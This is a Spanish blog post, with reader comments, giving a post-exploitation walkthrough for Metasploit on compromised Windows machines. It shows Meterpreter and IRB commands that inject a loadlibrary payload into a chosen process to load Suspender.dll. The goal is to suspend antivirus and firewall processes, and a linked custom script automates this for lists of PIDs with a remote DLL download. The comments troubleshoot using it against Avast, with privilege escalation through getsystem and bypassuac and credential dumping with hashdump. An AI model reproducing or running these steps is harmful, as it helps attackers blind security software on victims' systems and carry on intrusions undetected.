En esta ocasión se intentará indicar cómo es posible desactivar procesos resilientes en máquinas comprometidas (máquinas Windows) para evitar las dificultades que conlleva trabajar con un sistema monitorizado por un anti-virus u otro software de seguridad, para esto se utilizará en primer lugar MetaSploit Framework con una consola meterpreter establecida, IRB para ejecutar scripts escritos en Ruby contra la máquina comprometida y finalmente una DLL que permite “dormir” un proceso determinado y sus correspondientes procesos hijo, esto es todo lo que se necesita para conseguir eliminar procesos resistentes que no pueden ser detenidos o suspendidos por medio de los mecanismos convencionales.
En entradas anteriores de este blog se han indicado las bases sobre el uso de Ruby y de IRB desde Meterpreter, estos conocimientos son en esta ocasión, utilizados con el fin de crear un script que permita la carga de la librería DLL a un proceso del sistema y una vez cargada, intentará suspender el proceso. El procedimiento es realmente simple, se indica a continuación:
- En primera instancia, como es natural, es necesario tener una instancia de una consola Meterpreter contra la máquina comprometida, desde esta consola es necesario cargar la librería en el sistema remoto (simplemente ejecutando el comando upload de meterpreter)
La librería que se ha venido mencionando es Suspender.dll y se puede descargar desde: http://blog.didierstevens.com/2011/04/27/suspender-dll/ Como indica la información contenida en el enlace anterior, el uso de la librería es muy sencillo, solamente es necesario cargarla en una posición de memoria ejecutable en la máquina, luego en el nombre del fichero, los últimos dígitos corresponden al tiempo en segundos que esperará la librería antes de suspender el proceso con el PID que se le ha indicado, de este modo por ejemplo, si el nombre del fichero subido a la memoria de un proceso determinado se llama “Suspender10.dll” la librería esperará 10 segundos antes de intentar suspender el proceso con el PID seleccionado.
NOTA: Es muy importante establecer el PID correcto y en ningún caso, especificar un proceso del sistema operativo ya que puede desestabilizar completamente el sistema.meterpreter > cd C:\\ meterpreter > mkdir SuspenderLibrary Creating directory: SuspenderLibrary
meterpreter > cd SuspenderLibrary
meterpreter > upload Suspender10.dll
[*] uploading : Suspender10.dll -> Suspender10.dll
[*] uploaded : Suspender10.dll -> Suspender10.dll
- Una vez subida la librería en la máquina comprometida se procede a ejecutar IRB para cargar la librería en el proceso objetivo (por ejemplo un proceso de AV o Firewall).
meterpreter > irb [*] Starting IRB shell [*] The ‘client’ variable holds the meterpreter client
>> pathtosuspend = «C:\\SuspenderLibrary\\Suspender10.dll»
=> «C:\\SuspenderLibrary\\Suspender10.dll»
- Se procede a crear un el payload “loadlibrary” de Meterpreter y generarlo (todo utilizando la API de MetaSPloit Framework)
>> pay = client.framework.payloads.create("windows/loadlibrary") => #<Module:payload/windows/loadlibrary datastore=[{"EXITFUNC"=>"process", "VERBOSE"=>"false"}]> >> pay.datastore['DLL'] = pathtosuspend => "C:\\SuspenderLibrary\\Suspender10.dll" >> pay.datastore['EXITFUNC'] = 'thread' => "thread" >> raw = pay.generate => "\374\350\211\000\000\000`\211\3451\322d\213R0\213R\f\213R\024\213r(\017\267J&1\3771\300\254\\SuspenderLibrary\\Suspender10.dll\000"
- Una vez creado el payload, se procede a abrir el proceso con el identificador de dicho proceso, suponiendo que el PID en este caso sea el 4036, la invocación es la siguiente
>> targetprocess = client.sys.process.open(1012, PROCESS_ALL_ACCESS) => #<#:0x7f80d801ea68 @aliases={"thread"=>#:0x7f80d801ea68 ...>>, "memory"=>#:0x7f80d801ea68 ...>>, "io"=>#:0x7f80d801ea68 ...>>, "image"=>#:0x7f80d801ea68 ...>>}, @handle=472, @client=#, @pid=1012, @channel=nil> >> mem = targetprocess.memory.allocate(raw.length + (raw.length % 1024)) => 43646976 >> targetprocess.memory.write(mem, raw) => 225 >> targetprocess.thread.create(mem, 0) => #:0x7f80d801ea68 @aliases={"thread"=>#:0x7f80d801ea68 ...>>, "memory"=>#:0x7f80d801ea68 ...>>, "io"=>#:0x7f80d801ea68 ...>>, "image"=>#:0x7f80d801ea68 ...>>}, @handle=472, @client=#, @pid=1012, @channel=nil>>
Una vez abierto el proceso, se reserva un espacio de memoria suficiente para conseguir ejecutar la DLL y finalmente se crea el hilo de ejecución que será el que realmente invoque a la DLL para suspender el proceso indicado. Ese es todo el proceso, se trata de una técnica de post-explotación útil contra AV, Firewalls y otros mecanismos de defensa resilientes, molestos y difíciles de saltar. Sin embargo, este procedimiento aun se puede automatizar y mejorar.
Implementado el Script suspend_resilientprocess.rb
No se trata de un script existente en meterpreter o en el framework de metasploit, es simplemente un custom script que he escrito con el fin de optimizar todas las operaciones descritas anteriormente y además, intentar mejorar el mecanismo aceptando de uno a muchos PID validos en la máquina comprometida, lo que resulta muy útil dado que en muchas ocasiones existen herramientas y software que inicia múltiples procesos para su ejecución de forma independiente, como es el caso de varios AV del mercado y Firewalls con estado, con lo que resulta muy tedioso ir uno por uno intentando suspenderlos, por esta razón es mucho mas óptimo especificar un listado de PID al script y finalmente intentar suspenderlos de forma automática, por otro lado también se ha indicado opciones adicionales como por ejemplo descargar desde internet la DLL. Los comentarios se encuentran en ingles ya que es mi intención compartirlo a la comunidad de MetaSploit Framework, es requerido tener unos conocimientos de programación en Ruby básicos para poder comprender la lógica del programa y su funcionamiento, sin embargo es muy sencillo.
El script puede verse desde aquí: http://pastebin.com/P1LrTdJZ
Este script debe ser ubicado en: <DIR_MSF>/scripts/meterpreter y algunos ejemplos de su ejecución son los siguientes:
meterpreter > run suspend_resilientprocess -s 5 -p 2452,2456 -d http://www.fileserve.com/file/54bFq4P/Suspender.dll [*] Setting the number of seconds to suspend the process at 5
[*] The Suspender library will be downloaded from Internet, you need internet connection to make this work… [*] Trying to download Suspender from http://www.fileserve.com/file/54bFq4P/Suspender.dll [*] Suspender10.dll has been downloaded to /opt/metasploit3/msf3/data/Suspender5.dll (local machine). Please remove manually after use or keep for reuse. [*] Uploading /opt/metasploit3/msf3/data/Suspender5.dll…. [*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll! [*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll [*] Trying to suspend the process with PID: 2452 [*] Trying to suspend the process with PID: 2456 [*] The signal to suspend the 2452 has been submitted The signal to suspend the 2456 has been submitted |
En el caso anterior, se ha indicado que se inicie la suspensión de los procesos 2452 y 2456 en la máquina remota, además se llevará a cabo 5 segundos después del inicio del hilo de ejecución creado, por otro lado, la opción “-d” indica que se descargará la librería desde Internet.
run suspend_resilientprocess -s 5 -p 440 -f /home/adastra/Escritorio/Suspender.dll [*] Setting the number of seconds to suspend the process at 5
[*] File to upload: /home/adastra/Escritorio/Suspender.dll [*] Uploading /home/adastra/Escritorio/Suspender.dll…. [*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll! [*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll [*] Trying to suspend the process with PID: 440 [*] The signal to suspend the 440 has been submitted |
En el caso anterior, se ha utilizando la opción “-f” indicando la ruta del fichero ubicado en un directorio local de la maquina del atacante.
meterpreter > run suspend_resilientprocess -s 10 -p 1 -f /home/adastra/Escritorio/Suspender.dll [*] Setting the number of seconds to suspend the process at 10
[*] File to upload: /home/adastra/Escritorio/Suspender.dll [*] Uploading /home/adastra/Escritorio/Suspender.dll…. [*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender10.dll! [*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender10.dll [*] Trying to suspend the process with PID: 1 [-] Error allocating memory in the target process with PID 1 the error is: stdapi_sys_process_attach: Operation failed: The parameter is incorrect. [-] following with the next process in the list [*] Error allocating memory in the target process with PID 1 The signal to suspend the 1 has been submitted |
Finalmente, si alguno de los procesos indicados en el script no se encuentra en la máquina remota, automáticamente se lanzará una excepción indicando que el parámetro es incorrecto.
Prueba el script y si encuentras algún fallo, por favor hacermelo saber.
Gracias por leer.
Se ve interesante, pruebo y comento
Me gustaMe gusta
Buenas, lo probe, pero no me ah funcionado, lo probe contra win7 en vmware, con avast. le cargue los 2 procesos del avast y el resultado fue el siguiente
meterpreter > run suspend_resilientprocess -s 5 -p 1432,1220 -d http://www.fileserve.com/file/54bFq4P/Suspender.dll
[*] Setting the number of seconds to suspend the process at 5
[*] The Suspender library will be downloaded from Internet, you need internet connection to make this work…
[*] Trying to download Suspender from http://www.fileserve.com/file/54bFq4P/Suspender.dll
[*] Suspender10.dll has been downloaded to /opt/metasploit/msf3/data/Suspender5.dll (local machine). Please remove manually after use or keep for reuse.
[*] Uploading /opt/metasploit/msf3/data/Suspender5.dll….
[*] successfully uploaded to C:\Users\Fabian\AppData\Local\Temp\Suspender5.dll!
[*] Path Library: C:\Users\Fabian\AppData\Local\Temp\Suspender5.dll
[*] Trying to suspend the process with PID: 1432
[-] Error allocating memory in the target process with PID 1432 the error is: stdapi_sys_process_memory_allocate: Operation failed: Access is denied.
[-] following with the next process in the list
[*] Trying to suspend the process with PID: 1220
[-] Error allocating memory in the target process with PID 1220 the error is: stdapi_sys_process_attach: Operation failed: Access is denied.
[-] following with the next process in the list
[*] Error allocating memory in the target process with PID 1432
The signal to suspend the 1432 has been submitted
Error allocating memory in the target process with PID 1220
The signal to suspend the 1220 has been submitted
alguna idea de porke pudo haber fallado?
Me gustaMe gusta
No recuerdo si lo comente anteriormente, pero debes tener privilegios sobre la máquina comprometida. Ejecuta el comando «getsystem» de meterpreter.
Me gustaMe gusta
Hola, si tengo privilegios, atravez de run post/windows/escalate/bypassuac lo estoy probando en XP y me tira lo mismo. Estaria bueno en otra entrada si pudieras explicar como escalar privilegios en WIN 7 sin usar bypassuac.
Me gustaMe gusta
Vale, tomo nota.
Has ejecutado entonces el bypassuac y luego «getsystem» sobre la session meterpreter que te genera el bypassuac? lo pregunto porque el error que te esta dando es porque no tienes privilegios de system en el sistema comprometido y el modulo «bypassuac» cuando logra evadir el UAC te genera una session meterpreter nueva, sobre la cual tendrás que aplicar el comando «getsystem» para tener los privilegios adecuados (y finalmente ejecutar nuevamente el script para intentar «dormir» el AV).
Me gustaMe gusta
Si, por las dudas lo repeti, siguiendo esos pasos, me sigue poniendo lo mismo, para comprobar si tenia privilegios corri el comando hashdump y me dejo hacer el volcado, lo que probe fue abrir un notepad y tratar de matar ese proceso y ese si me dejo.
Me gustaMe gusta
Has intentado matar algún otro proceso de esa máquina, cuyo propietario sea «SYSTEM»? Aunque en principio, si te ha dejado hacer un volcado, tiene pinta de que si que tienes privilegios, así que lo único que se me ocurre es que el Avast tiene algún tipo de mecanismo de seguridad adicional que no permite dormir los procesos en ejecución, en cuanto tenga un rato lo probaré con ese AV a ver que tal me va.
Un Saludo y gracias por comentar.
Me gustaMe gusta
No, no eh probado matar otro proceso del system, pues denada, gracias por el blog, del cual aprendo mucho.saludos
Me gustaMe gusta
Hola amigo, tengo una gran duda.
Ami el bypassauc siempre me lo han tricando los AV´s. Por lo tanto con un AV me es «imposible» conseguir el sistema (getsystem). Tu script me parece cojonudo, pero ¿la idea no es matar al AV antes de hacer un bypassauc?
Muchas gracias por tu curro, saludos!
Me gustaMe gusta
Correcto, esa es la idea, sin embargo, no mata el AV, solamente hace el proceso permanezca inactivo (dormido) por un periodo de tiempo.
Me gustaMe gusta
Pero usted mismo ha dicho, unos post mas arriba, que para todo esto necesitas privilegios sobre la maquina comprometida…. Quizas no he entendido bien algo pero la pregunta concreta seria: ¿para que todo este proceso de «dormir» al AV funcione hacen falta privilegios (que en W7 solo se obtienen con bypassuac)?
Saludos!
Me gustaMe gusta
es cierto (un pequeño «lapsus») tienes que tener permisos de System para ejecutar el script, lo que me parece extraño es que el AV evite la ejecución del bypassuac, principalmente porque el proceso desde el que se ejecuta dicho modulo (que es de post-explotación) ya se encuentra cargado en memoria, supongamos que se migre dicho proceso a un proceso del sistema operativo (por ejemplo el iexplorer) no tiene ningún sentido que el AV lo trunque… Seguramente, si tienes problemas con el getsystem, probablemente el problema será otro distinto al AV.
Me gustaMe gusta
El problema del bypassuac el que el payload que genera para abrir la nueva session lo escribe en el disco, eso es lo ke detecta el AV. Saludos.
Me gustaMe gusta
He intentado matar el proceso de Avast AV y no lo pude lograr! Alguna sugerencia?
Me gustaMe gusta